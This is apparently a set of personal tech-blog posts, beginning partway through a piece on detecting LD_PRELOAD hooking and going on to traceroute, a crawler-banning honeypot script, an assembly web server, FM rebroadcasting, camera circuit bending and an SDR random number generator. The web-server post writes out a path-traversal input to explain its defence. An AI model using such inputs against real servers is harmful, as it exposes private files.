strace operates at the syscall level, below libc entirely, so LD_PRELOAD can't hide things from it. You can use it to see what a program is actually doing regardless of what any hooked library tells you:

strace -e openat ps

If ps is opening files it shouldn't, or skipping /proc entries, you'll see it here.

Another approach: LD_PRELOAD doesn't disappear once a process starts, it stays visible in /proc/<pid>/environ. So even if a hooked ps hides the process, the preload trail is still sitting in procfs, readable by anything that looks directly at /proc instead of going through libc.

Static Binaries

The best solution is to use a statically compiled binary, which doesn't use the dynamic linker at all, so preloaded libraries are completely ignored. This is why forensic tools are often distributed as static binaries: on a compromised system, they're the only tools you can actually trust.

You can check if a binary is static with:

ldd $(which ps)
# if it says "not a dynamic executable", LD_PRELOAD won't touch it

At the end of the day, nothing here is "breaking" Linux so much as bending trust. The program still believes it is calling libc. The system still believes it is listing processes. It’s only the answers that change. And that’s the uncomfortable part: in userspace, reality can be altered.

You clicked this link. Quite simple, right? But before these words appeared in your browser, they went on a little journey, hopping through routers, data centers, and cables you'll never see, operated by people you'll never meet.

And you know what? You can see every one of those stops, and even trace the full path from your machine all the way to mine, or any server, really.

The tool that lets you observe your route through the constellation of routers called the internet is traceroute (or tracert on Windows, I guess they wanted to be original).

Let's run a traceroute:

› tracert 152.53.236.228

Tracing route to theserver.life [152.53.236.228]
over a maximum of 30 hops:

  1     3 ms     1 ms     1 ms  192.168.1.1
  2    20 ms    18 ms    11 ms  77-56-216-1.dclient.hispeed.ch [77.56.216.1]
  3    15 ms    14 ms    13 ms  217-168-61-145.static.cablecom.ch [217.168.61.145]
  4    48 ms    41 ms    27 ms  carbsm101-be-2.aorta.net [84.116.211.21]
  5    15 ms    15 ms    13 ms  ch-otf01b-rc2-ae-54-0.aorta.net [84.116.202.225]
  6    25 ms    13 ms    18 ms  zur01lsr01.ae1.bb.sunrise.net [212.161.150.164]
  7     *        *        *     Request timed out.
  8    39 ms    54 ms    14 ms  213.46.171.182
  9    23 ms    20 ms    20 ms  ae2-2015.nbg60.core-backbone.com [80.255.15.250]
 10    23 ms    22 ms    24 ms  ae12-500.nbg40.core-backbone.com [80.255.9.21]
 11    36 ms    24 ms    45 ms  theserver.life [152.53.236.228]

Trace complete.

Looks like gibberish, right?

But actually, it's easy to decipher. Let's analyze our data's journey:

Each line is a stop. Let's walk through the journey.

• The first one, 192.168.1.1, is my own router, still in my living room. The first stranger is actually myself.

• Hops 2 and 3 are my ISP: the entrance to the highway. You can even see it in the hostnames: cablecom.ch, a Swiss internet provider, handing my data off to the wider world.

• Hops 4 through 6 are that highway. aorta.net, sunrise.net are transit backbones you've probably never heard of, but your data uses constantly, every single day.

• Hop 7 is a ghost. Three * instead of a response. Looks like someone doesn't want to be seen. We'll come back to that.

• Hop 8 is another silent one, no hostname, just a raw IP. Not hiding, but not introducing itself either.

• And then 9 and 10 are another backbone, core-backbone.com, and if you squint at the hostname you can see nbg: Nuremberg, Germany.
  My data just crossed a border.

• 11 is home, well, my home. The server.

Your output will look different: different ISP, different city, maybe even different countries in between. But the story is the same: a chain of strangers, passing your data along.

So in 11 hops, my request crossed my living room, my ISP, some of the thousand of internet backbones, crossed Germany, and landed on my server. All this in about 40 milliseconds.

But how does traceroute even know all this? Well, it shouldn't. It's exploiting a small feature built into every router on the internet, originally designed to prevent flooding the network.

Internet's Structure

The internet works a lot like the postal system. When you send a letter abroad, your local postman doesn't know the way to Germany, he just drops it at the sorting center. The sorting center sends it to the national hub. The national hub hands it to an international carrier. Nobody has the full map. Everyone just knows their next step.

Your request leaves your home, climbs through your ISP, then through bigger and bigger backbone networks, like aorta.net or core-backbone.com from our traceroute, until it reaches the destination network, and works its way down to the target server. Each of those networks is owned by a different company, and they all just agreed to hand traffic to each other.

All of this is coordinated by Border Gateway Protocol, a fascinating rabbit hole for another day. (Finish this article first.)

How Traceroute Exploits This Network

What traceroute actually does is map every step your packet takes through the internet, and it does it by exploiting a feature that was never meant for this.

To do that, it diverts the original purpose of TTL (Time To Live): as defined in the first IP spec (RFC 791), its intent was to "kill stale packets before they clog the network forever".

Every IP packet has a TTL field that gets decremented each time it crosses a new router (transit point). When it reaches 0, the packet gets destroyed and the router that killed it warns the sender about it.

You might already see the trick coming: by setting the TTL to 1, we can get the first router to drop the packet, and tell us it did. That gives us the first router's IP. Then we just repeat, incrementing the TTL each time to peel back one more hop.

We keep going until the destination itself replies with either ICMP_ECHOREPLY or ICMP_DEST_UNREACH depending on the implementation, and that's our signal to stop.

Here's the core loop in C, if you're curious:

for (int ttl = 1; ttl <= MAX_HOPS; ttl++)
    {
        // Set the TTL to the current iter ttl
        setsockopt(send_sock, IPPROTO_IP, IP_TTL, &ttl, sizeof(ttl));

        char buf[BUF_SIZE];
        struct sockaddr_in from;
        socklen_t from_len = sizeof(from);

        // Ping the target router 3 times to get the 3 delays
        for (int i = 0; i < PROBE_COUNT; i++)
            ms[i] = ping(send_sock, recv_sock, buf, &dest, &from, &from_len);

        /* print stats
           Skipped it for this example
        */

        if (icmp_hdr->type == ICMP_ECHOREPLY && from.sin_addr.s_addr == dest.sin_addr.s_addr)
            break;
    }

The full C code can be found on this gist.

The Ghosts, and Other Lies

Remember hop 7, the one that went silent? And hop 8, the no-name one?

They're not broken, they just don't want to be seen.

Some routers are configured to drop ICMP packets (the ones traceroute uses to probe the network). They still forward the traffic just fine, but they don't want to play traceroute's little spy game. Others, like hop 8, simply don't have a reverse DNS record.

And it gets worse. The route we just saw? It might not exist anymore. Run two traceroutes with a one-hour difference and you might see completely different routes, maybe even different countries. The internet reroutes itself constantly, reacting to routing metrics, failures, and countless other factors. There's no fixed path, but at least there will always be a path.

Even the timings can lie. See how hop 4 shows 48 ms while hop 9 shows only 23 ms? A further hop that is faster than a closer one?! That's because routers prioritize "real" traffic over responding to ICMP probes. The latency numbers tell you something, but never everything.

Remember that traceroute is a window into the internet, but not a clear one.

I don't really like bad bots, and by that I mean crawlers that don't care about robots.txt. The reason is simple: I don't want my data fed into obscure systems, and also just by principle, if we give you rules, follow them.

Credit where it's due: the idea came from Caolan's website.

The idea is simple: make the bad bots click a link they aren't supposed to, then ban them. To do that, I added a robots.txt at the root of my site, explicitly disallowing robots from a specific page (I went with /roboty/, because why not):

User-agent: *
Disallow: /roboty/

Then I slipped a link to that page somewhere on the root page.

Since I don't want curious humans getting instantly banned, the page itself just explains what's going on and links to article.php, the actual dangerous script. I named it like that to bypass possible keyword blacklists like ban or ban-ip. ¯\_(ツ)_/¯

Talking about the script, here it is:

<?php

$cf_api_token = '...';
$zone_id = '...';
$note = 'Auto banned by dtech/roboty at ' . date("H:i d/m/y");
$ip = $_SERVER['REMOTE_ADDR'];

$payload = json_encode([
    'mode' => 'block',
    'configuration' => [
        'target' => 'ip',
        'value' => $ip,
    ],
    'notes' => $note,
]);

$ch = curl_init("https://api.cloudflare.com/client/v4/zones/{$zone_id}/firewall/access_rules/rules");
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => $payload,
    CURLOPT_IPRESOLVE      => CURL_IPRESOLVE_V4,
    CURLOPT_HTTPHEADER     => [
        "Authorization: Bearer {$cf_api_token}",
        "Content-Type: application/json",
    ],
]);

$response = json_decode(curl_exec($ch), true);
curl_close($ch);

header("Location: /?blehhhhh"); // redirect to '/', should be blocked
echo "Bye ;)";

Right now it only bans the bot's IP on douxx.tech (proxied through Cloudflare), but I plan to eventually implement it into an internal API to block across every domain I own, and maybe throw in some iptables rules too.

So yeah, I'll keep it running for a bit and see how many IPs we get.
For the record, the first one to be banned is an IP from Tencent datacenters 🤡

When I say from scratch, I mean it. No frameworks, no node_modules taking 500MB of disk space, no runtime. Just you, and your Linux kernel.

A Bit of Context

Exactly one week ago, I was in my NoSQL class, and got bored, like, really. And what does a sane person do when they're bored? Certainly not learn assembly. But that's what I did.

To be honest, the idea had been running on my mind for some time already. So I said to myself that it could be more interesting than reading papers about MongoDB, and looked for a guide.

I directly found this guide from Alex Kuleshov, and started reading. That afternoon, I read about 3 posts instead of listening to my teacher, and then went home.

Since I didn't want to digest more theory that day, I decided to do some practice. You learn more from random segfaults than from pages of theory.

The guide didn't cover exercises + answers, so I decided to use the thing that will probably steal my job in a few years: Claude. Even if it can't (yet) write good assembly code, it can create "good" exercises and correct them. So I spent the evening doing that.

The next day, I continued the course and read the final chapters. After that, I felt like I knew enough things but had clearly not enough practice.

And damn, I was so right.

I decided to create an HTTP client to train. Basically curl, but with no other feature than get-ing pages. It was a horror. Every time I took a step forward, I took three steps back due to code that stopped working, mostly because of those damn CPU registers >:[

Well, after a bit of practice, I got something working:

One day passes, we're now Tuesday, 10AM. My next project was pretty obvious: a web server. What's the point of having a web client without one?

So in the rest of this article, I'll explain how I built NASMServer, the 95% NetWide assembly web server that runs douxx.tech.

Quick note: I won't talk assembly in this article. It would require you, the reader, to have knowledge about it, and it isn't needed.

Ok, let's start!

The Basics

This article covers only x86_64 Linux. Any other OS or architecture would have different instructions.

I'll try to avoid talking directly in assembly, but I'll regularly add links to the relevant parts on the GitHub repo. You don't need assembly knowledge, but you might need some about Linux and programming in general.

Two things to keep in mind before we continue:

• In Linux, everything is a file (Dev.to article)
• We talk to the Linux kernel using System Calls, the bridges between our application and the hardware.

Here's a system call in C:

#include <unistd.h>
#include <sys/syscall.h>

int main() {
    const char *msg = "Hello, world!\n";
    syscall(SYS_write, 1, msg, 14);  // fd=1, buffer, length
}

And here's one in NASM:

_start:
    mov rax, 1    ; syscall number for write
    mov rdi, 1    ; fd = 1 (stdout)
    mov rsi, msg  ; buffer
    mov rdx, len  ; length
    syscall       ; call kernel

System calls will be the only thing we use for I/O, so make sure you're comfortable with them. Here's the full Linux x86_64 syscalls table for reference.

The Logic

Before writing a single line, you need to plan what the program will do and leave the how to your future self. Here's what I planned:

• Listen to a port
• Wait for requests, and accept them
• Read the content
• Parse the HTTP request
• Read the requested file
• Send a HTTP response back, with the file content

Listen To a Port

The first thing we need is something clients can connect to and "talk with us": a TCP Socket. It's, well, a file, and it's basically the way the client says "I'm here, and I want to talk to X application".

[-> program.asm]

Creating the socket alone isn't enough though. It exists, it can do its job, but it isn't accessible to anyone yet. We need to bind it to a port and an interface.

The interface is one of the IP addresses available to the system: 127.0.0.1, 192.168.x.x, etc. To simplify our lives, we'll use 0.0.0.0, "listen on every interface". The port is a value between 1 and 65535, and HTTP usually lives on 80.

We give the kernel the socket file descriptor and the interface + port to bind to. It either returns 0 (done), or a negative error code, usually meaning the port is already in use on the given interface, or we don't have enough permissions (< 1024 ports require root).

Finally, we tell the kernel we're ready to listen with the listen syscall. [-> program.asm]

To summarize:

• Create a socket: socket syscall
• Bind it: bind syscall
• Start listening: listen syscall

And just like that, we're reachable on 0.0.0.0:80!

• Listen to a port

Wait For Requests, And Accept Them

This is where the main loop lives:

[Wait for a request] --> [Accept it] --> [Handle it (explained later)] --> |
        ^------------------------------------------------------------------+

The accept syscall handles both waiting (blocking) and accepting in one shot. And guess what it returns? A file!! [-> program.asm]

That file is the private space where we and the client will talk to each other.

• Wait for requests, and accept them

Read The Client Request

The "private space" file contains the request the client wrote. Reading it is easy: use the read syscall and dump it into a buffer.

[-> program.asm] [-> fileutils.asm]

Then we check if it's a valid HTTP request. If not, we send back a 400 Bad Request. A very minimal valid request looks like:

GET / HTTP/1.0
\r\n

Which breaks down to:

<METHOD> <path> <HTTP_VERSION>
<crlf>

As a static server, we only handle GET, and anything else gets a 405 Method Not Allowed. If the method is valid, we parse the path and append it to the document root (e.g. /var/www/html), which is the directory we'll be serving files from.

One important thing: path traversal prevention. In Linux, .. means "go to the previous directory", so a path like /../../../opt/sensitive/passwords.txt appended to /var/www/html would resolve to /opt/sensitive/passwords.txt. Not great. We simply check for any .. in the path and drop the request with a 403 Forbidden if we find one.

[-> program.asm] [-> httputils.asm]

• Read the content
• Parse the HTTP request

Read The Requested File

We have a safe path, now let's actually get the file. A couple of things to handle first.

If the client requested /, we'd end up with /var/www/html/, figure out it's a directory, and go crazy. So we internally append an index file (e.g. /index.html) to the path (no redirecting the client, I see you bad programs). This works for subdirectories too: /home/ becomes /home/index.html.

"But what about directories that don't end with /?". Fair point, and we'll get there. For now, let's move on.

We use the stat syscall to check if the file exists and what type it is:

• Doesn't exist → 404 Not Found
• It's a directory → the trailing slash was missing, add it and loop back to the index-appending step
• It's a regular file but not readable → 403 Forbidden
• Otherwise → continue!

[-> program.asm] [-> fileutils.asm]

• Read the requested file

Send The Response

All edge cases handled, time to actually send something. We write to the "private space" file, starting with the HTTP header:

HTTP/1.0 200 OK
Server: NASMServer/1.0
Content-Type: text/html
Content-Length: 1442
Connection: close

[file content]

Breaking it down:

1. HTTP/1.0 200 OK: static string, HTTP version + status code
2. Server: NASMServer/1.0: not required, but nice to have
3. Content-Type: text/html: tells the client what it's receiving, must follow Media Types format
4. Content-Length: 1442: byte count of the response, grabbed from stat
5. Connection: close: we won't keep the connection alive after sending
6. \r\n: blank line separating header from body. HTTP uses CRLF

We write the header with write, send the file content with sendfile (no manual copying needed), then close up with:

1. shutdown: tell the client we're done
2. close: close the connection

Then jump back to waiting. :D

[-> program.asm]

• Send a HTTP response back, with the file content

And just like that, we have a working HTTP 1.0 static file server!!

And Now?

I lied, but not entirely. This works, but it wouldn't survive being spammed. There's no proper per-request handling, so a request coming in while another is being processed will either be queued or dropped.

The fix is to fork the process on each request, and the main process immediately goes back to waiting while the clone handles it. I won't go into detail here, but the code is there if you want to look!

Other improvements are possible too, but this post only covers the basics. If you're interested, consider reading, starring, or contributing! Github:douxxtech/nasmserver

The logic explanation ends here, feel free to leave now. Otherwise, let's talk numbers.

How Fast Is It?

Three servers, three environments, same file, no TLS:

• NASMServer: fully built in assembly
• BusyBox HTTPD: a really small HTTP server
• Apache2: one of the most used web servers

Speed measured with cURL:

curl -o /dev/null -s -w "
DNS: %{time_namelookup}s
Connect: %{time_connect}s
TLS: %{time_appconnect}s
Start Transfer: %{time_starttransfer}s
Total: %{time_total}s
\n" http://localhost

Each command is run 10 times, results are averaged.

Environments:

1. localhost: staying on the machine
2. Windows <> WSL: servers running in Fedora WSL, testing the virtual interface
3. Local network: fetching over LAN

Results

BusyBox HTTPD wins across the board. NASMServer holds its own on localhost but falls behind on the network. Apache2 is the slowest on the Windows host by a noticeable margin, which makes sense given its heavier feature set.

NASMServer and Apache2 being slower over WSL than over LAN is likely due to WSL's virtual network interface adding overhead that a direct LAN connection doesn't have. Not 100% sure on that though.

The Final Words

I really loved building this project, writing this article, and learning assembly. I'll keep updating the server, so if you have feature ideas, bug reports, etc. feel free to reach out via GitHub issues, the dev.to comments, or mail!

Would I recommend NASMServer in production? For god's sake, NO! Did I do it? Maybe. Will I regret it? Surely.

But remember, I started this because I was bored in a NoSQL class.

When going on vacation, I listen to local radios stations using a small portable radio that I bring with me. I absolutely love doing this as the music often changes of what I'm used to, and it makes me discover new things.

One of those radios I love listening to is the RTL 102.5, an italian radio. I always listen to it when I go on a trip in Italy. However, it only is a national station and doesn't broadcast in other countries such as Switzerland.

A good way of continuing to listen to programs that aren't broadcasted on FM are web radios, and you'll ask me, why don't I want to listen to them ? They're near perfection, they're live, have a good audio quality, and much more !
And the answer is in the question. They're perfect. I find that this perfection breaks the charm of FM. Having lossless 96kHz in your headset doesn't have the same vibe at all than getting a signal from a tower being at hundreds of kilometers from your tiny 15 bucks portable radio.

So in this article, I'll try to take a live stream from the RTL 102.5 web radio, and broadcast it in my house, on FM.

As always, here is an overview of what I'll be doing:

• Finding a way of broadcasting FM on a short range
• Getting the audio source for the web radio stream
• Putting both together
• Automate everything
• Enjoy !

Figuring Out What I Even Need

As I just said, I only need two things:

• A device being able to broadcast FM radio
• A stream from where I can get the live radio feed

And great news, I already have an idea on how to get them !

1: The broadcaster

This is the easiest part of this article, since I literally made a software being able to do that, and I won't hesitate to use it !

For those who don't know it, it's BotWave, a software that lets you easily play files and live feeds on FM using a Raspberry Pi.

2: The source

What I initially wanted to do was simple: Go to radio-browser.info, a library of almost every "big" web radios that documents a lot of information about them, but more importantly, the stream url.

So I went on the website, searched for RTL 102.5, found it, and got this stream url:
https://dd782ed59e2a4e86aabf6fc508674b59.msvdn.net/live/S97044836/tbbP8T1ZRPBL/playlist_audio.m3u8

Sadly, once I opened it up in my browser, I saw that it was a dead link and that nothing was served anymore :/

So it's time for the fallback plan ! Find the stream url directly on the website !
It sounds like an epic thing, but it's really not much, I just went on the website player, and then checked for any m3u files in the network tab of the devtools.

And I found it:
https://streamcdnb1-dd782ed59e2a4e86aabf6fc508674b59.msvdn.net/live/S97044836/WjpMtPyNjHwj/playlist_audio.m3u8

And this one actually works !

Ok so just like that, we got the first two points:

• Finding a way of broadcasting FM on a short range
• Getting the audio source for the web radio stream

Getting That Stream on FM

I already had an idea on how to do that, but I'll have to check if it works. I'm planning on using FFmpeg, basically the swiss-knife of audio, video, and image editing.

Step 1: Test it

I'll start by trying to record 5 seconds of the stream, and put them in a .wav file.
And, surprisingly, I succeeded first try, which is pretty unusual :]

Here is the command:

ffmpeg -i "https://streamcdnb1-dd782ed59e2a4e86aabf6fc508674b59.msvdn.net/live/S97044836/WjpMtPyNjHwj/playlist_audio.m3u8" -t 5 test.wav

It takes the stream in input, and converts 5 seconds of it in the wave format to save it !

Step 2: Put it Into Practice

BotWave exposes a sound card in which we can input audio, and it will play it live. So all we have to do is, instead of outputting the audio into a wave file, we output it directly in the sound card !

ffmpeg -i "https://streamcdnb1-dd782ed59e2a4e86aabf6fc508674b59.msvdn.net/live/S97044836/WjpMtPyNjHwj/playlist_audio.m3u8" -f alsa plughw:BotWave

I removed the time limit so it plays indefinitely, and the other stuff redirects the sound to the sound card.

Step 3: Broadcasting it

The last step is actually telling the software to take the card output and broadcast it.

sudo bw-local
botwave> live 102.5 "RTL 102.5" "aka.dbo.one/webtofm"
botwave> # This plays at 102.5 FM, with the name and desc

Now let's check if we got anything on radio !

And yes ! We can see the broadcast on the spectrum, and if we stop the broadcast, it disappears:

• Putting both together

Automating Everything

It works, but currently it's kinda painful to setup, we need to get into the pi shell, two times actually, run ffmpeg and then BotWave, and leave it open.

So what I'll do is automating it, and it's surprisingly simple !

First, I'll create a file that will execute at the moment where BotWave starts.

sudo bw-nandl l_onready_webtofm.hdl

Inside, I put the ffmpeg command and the live instruction, so this will run ffmpeg in the background, and then start the broadcast automatically.

Now, when we run bw-local, the broadcast will automatically start. This removed one step of the process, but we still have to open a shell and run the command. So let's also automate this.

sudo bw-autorun local --ws 9939

This will make a systemd service that automatically starts BotWave on boot. It also opens a remote connection on port 9939 so I can still manually send commands if needed.

And we're done !

• Automate everything

And now, I'm able again to take my 15 bucks radio, tune it to 102.5MHz, and listen to it with a less perfect, but more charming audio quality, where and when I want :D

Picture taken with my circuit bent camera, btw

• Enjoy !

I bought a toy camera.

And then dismantled it.

Why? Because I wanted to try something called circuit bending. As said on Wikipedia, it consists in modifying the circuits in electronic devices. I recently saw some people circuit bending cameras, and I found it pretty cool. So I decided to try it! (And also document it on here)

The goal is to make the camera produce real glitchy, unpredictable effects.

Bending the circuit

This was fairly easy, I just had to access the camera pins and short them together.

I started by removing all the foam pads and the battery as I don't enjoy working with boards with batteries soldered on. I removed the speaker as well since I don't have any use for it.

Finding pins to short together

Next step was to find pins to connect together. For this I used a jumper wire to connect them and witness the effects in real time on the screen. Shorting data pins interrupts or alters the signal flow between the image sensor and the processor, causing the camera to misinterpret or corrupt the image data.

After some time playing around, I found two pairs of pins:

D5<>D6
D4<>HSYNC

D lines are data lines, and HSYNC is the horizontal lines sync signal. Connecting them causes the camera to mix timings and color data.

Linking those gave some neat effects, so I decided to go with it.

Soldering

There isn't much to say here, I simply soldered the connectors and it worked :)

After that, I soldered back the battery and put everything back together. Except the speaker, because I really don't need it.

And just like that, I had a working circuit-bent camera!

The result

With the connections I made, the camera now has glitchy horizontal lines, often green, and buggy colors.

I discovered that the camera has different shooting modes, but I have no idea what they were originally meant to do, since I never tested it before "breaking" it :'|

Shooting with it is quite interesting to say the least. You never really know if the shot is good or not, since the image changes every frame, even if the camera doesn't move. Talking of frames, this cheap camera has a framerate of about 2fps, it's awful.

Anyway, here's what it sees now:

Tiny side note, here are some useful videos about circuit bending that you might want to take a look at:

• An Intro to Circuit Bending
• Turning a Toy Camera into a LoFi Glitch Art Machine
• How to circuit bend a camera (Basic)

TL;DR: I made an Hybrid Hardware Random Number Generator (HHRNG) using radio noise. You can find the full source code on my GitHub.

Generating randomness is fascinating, and I always wanted to go deeper than just importing some library into my python project and calling .random(). So I set out to build my own library with its own .random() function. Revolutionary, I know.

But I didn't want to just cobble together pseudo-random values. I wanted to build a hardware random number generator (HRNG): one that uses actual physical processes to generate entropy. Think Linux's /dev/random, which harvests entropy from environmental noise: keyboard timings, mouse movements, disk I/O patterns. Windows also have a component named CNG (Cryptography Next Generation) that uses similar inputs.

When I hear noise, the first thing that comes to mind is this:

For the uninitiated, this is an SDR (Software Defined Radio), a real-time visualization of the radio spectrum around me. Notice the constant flickering at the bottom? That's noise, pure and simple. Nothing is transmitting there, yet the intensity is constantly dancing. It's the same static you hear when tuning to an empty FM frequency. If we could capture and measure that movement, we'd have a source of true randomness, unpredictable and nearly impossible to manipulate.

So, based on that, I decided to get to work. Note that I will be using a SDR blog v4 to capture radio signals and compute them.

Here is a global overview of what I needed to do to get this project done:

• Find a way of getting the radio signals on my PC
• Process them to generate randomness
• Create the core functions
• Add other functions on top of that
• Check that everything works and isn't easily affected by external events

Setting Up the Foundation

So, first of all, I needed to find a way to programmatically access my radio data, served as samples. I'd tried this on Windows before with no luck, so this time I went straight to a template that connects over the network on an rtl_tcp server running on one of my Raspberry Pis.

Once everything setup, I was able to receive samples. The code is quite simple, it uses a socket to connect to the rtl_tcp server, and then reads samples from it. Here is a part of the read_samples function, that reads and processes the signals:

As we can see, it computes IQ samples. I and Q refer to two components of a complex baseband signal. They capture both amplitude and phase of the RF signal.

Well, anyways:

• Find a way of getting the radio signals on my PC

Creating Randomness

The next step is building, as I like to call, the "seeder". It is basically a function that will take, as an input, samples from our SDR, and output a seed we will base our calculations on later.
To do this, I've tried a couple of ways (2, actually), but the most efficient method was using Phase difference.

The phase is the angle of the signal at a given moment. It can be easily calculated using both values of an IQ sample using this formula: angle = atan2(Q, I).
We'll do this for both the current iteration value (n), and the previous one (n-1).

After getting both angles, we will retrieve the phase difference, that will tell us in which direction the signal rotated since the previous sample. It can be done like this: delta = (current_angle - previous_angle + π) % 2π - π

The wrapping in π is to ensure that the result stays between -π and +π, and doesn't make big jumps, like going from 2° to -359° just by rotating 3°.

We got the rotation angle, but that value is still too complex to be properly processed. We will reduce it to a simple bit. The easiest way to do this is by checking its direction: bit = delta > 0 ? 1 : 0

Now that we got a bit, we're simply repeating this n samples times, to get a randomly generated bits array.

But there's a problem. After running the program, and logging some statistics, I observed more 1s than 0s, which isn't great, since the program would tend to go on the 1 side more than the 0 one.

Fixing that is easy, and there are plenty of methods available. I used a very simple one: XOR-ing all the values together, to spread the 1s and 0s. For those who don't know what it implies, it is a simple bit operation:

0 & 0 -> 0
0 & 1 -> 1
1 & 0 -> 1
1 & 1 -> 0

I used that to compare both bits each others, and the results were perfect: we went from a near 20% difference to a max of around 2%.

Finally, for convenience, I'm hashing the results to get an uniform seed to continue with (using SHA256).

• Process the signals to generate randomness

Code explained in this part

Building the Core Functionalities

We now have our random seed source, but now we have to let the user actually use it.
My first plan: every time someone calls .random(), grab fresh samples from the SDR, generate a seed, and convert it to a float.

This was painfully slow: we were hitting the hardware for every single random number.

Solution: make it hybrid. Use a fast Pseudo-Random Number Generator (PRNG) that gets periodically reseeded with fresh radio entropy, instead of hitting the SDR every time.

This was fairly straightforward to achieve:

• We first update our seeder to update its seed each X milliseconds, using a runner thread.
• Then, we create a Pseudo-Random Number generator. I used a simple Linear Congruential Generator (LCG), made with the help of this very good video.
• We change our code to constantly feed the generator with our new seed.

Now the code uses the LCG as a base, but it is always reseeded with our seeds taken from our radio samples.

Now, let's build our core random class, that we will call RFDom. We will optionally pass arguments to it, such as the rtl_tcp host, frequency ranges to scan, gain, and other settings.

.random() (returns [0.0, 1.0)) was pretty simple to do, as it used the same code as the youtube tutorial, same for .randint(a: int, b: int), that returns [a, b]. I've just had to implement a include: bool parameter to the LCG API, but that was quite easy.

LCG .get_float()

RFDom .random()

And done !

• Create the core functions

Adding Other Stuff

After adding .random() -> [0.0, 1.0), .uniform(a: float, b: float) -> [a, b], and .randint(a: int, b: int) -> [a, b] I've looked to the core functions of the python random library, and tried to replicate them. Some of them were really easy, some were quite a bit harder to do. I'm not going to explain all of them, since it's just a bunch of formulas, but here are two that I found quite interesting:

1. Choices

The .choices() func takes at max 4 arguments:

• population: a sequence of objects
• weight (optional): the probability weight of each object to get picked
• cum_weights (optional): preprocessed cumulative weights
• k (optional): the number of objects to pick

The way it works is pretty simple, even tho it was a bit hard to implement:

1. Each population object has a weight, either the same for every object, or a given one for each object.
2. If no weight (or cum_weights) has been provided, simply take a random object in the population array k times.

3. If a weight array is provided, we will need to build a cum_weight list, if it isn't already provided.

The cumulative weights represent the range where a number falls into an object, like this:

objects -> ["apple", "banana", "orange"]
weights -> [4,        1,       6]

cum_weights = [4,     5,       11]

=> 
apple -> [0, 4)
banana -> [4, 5)
orange -> [5, 11)

4. Choose a random object k times, based on the weights:

we use .uniform(0, max_weight) to get a float value, get the object falling in that range, add it to the list

5. Return the list: we return a list of k elements chosen randomly

2. shuffle

The .shuffle() function is much simpler, but I wanted to talk about the algorithm. It takes a list as the only argument and edits it in-place (doesn't return it, but changes the original).

To do this, we're using the Fisher-Yates algorithm:

• Starting from the beginning of the list, for each index i, a random index j is chosen from the range [i, n - 1], and the elements at positions i and j are swapped.
• Repeat until everything has been shuffled.

It is represented by this code:

• Add other functions on top of that

Trying to break the randomizer

My first idea (before even starting the project) was to try to break it out by overflowing the bandwidth using this tool.

I then made this simple code to have an eye on the values

I ran it, first without any special radio broadcast or whatsoever.

Then, I ran the program, and I observed. No changes at all, but that was predictable. Even with the bandwidth saturated, oscillations in the signal are still there, and the phase difference still works. I also later had an AI analyze the results, which confirmed there weren't any major changes.

• Check that everything works and isn't easily affected by external events

For the End

This project began with a simple question: where does randomness actually come from ?, and turned into a deep dive into radio physics, signal processing, entropy extraction, and practical limits.

Building this taught me that randomness isn't magic: it's trade-offs. Hardware entropy is slow but truly random. PRNGs are fast but predictable. Combining both? That's where it gets interesting.

Is this generator cryptographically secure ? Probably not. Is it faster than Python's built-in random ? Definitely not. Would I recommend using this in production (or in general) ? Absolutely not.

But that was never the point.

In the end, I won't replace the casual import random when I need randomness, but I learned how this works behind the scenes, even if it's only a fraction of the modern random generators.

If you're interested into seeing the full code, I uploaded it to my GitHub. Usage examples can be found in the /examples/ dir, and installation instructions on the README.

Additional Resources

Here are some links of videos / websites that I used to understand the subject better (not in any specific order). I might've forgotten some.

• Random number generation - Wikipedia
• Pseudo-Random Number Generator From Scratch in Python - YouTube
• Entropy (information theory) - Wikipedia
• XOR (Exclusive or) - Wikipedia
• Fisher–Yates shuffle - Wikipedia
• Linear congruential generator - Wikipedia
• SHA256 - Wikipedia

The Actual Generator

Here are located your settings on douxx.blog. Changes will be reflected immediately.
Please note that these changes are local to your specific browser and you may need to configure them again if you change browser or device.

Comments Name

This is the default name when posting comments. It is pre-filled on forms but you'll still be able to change it.

Views Tracking

This blog uses one of my third-party services to fetch how much unique readers an article got. You can opt-out by unchecking the checkbox above. Privacy policy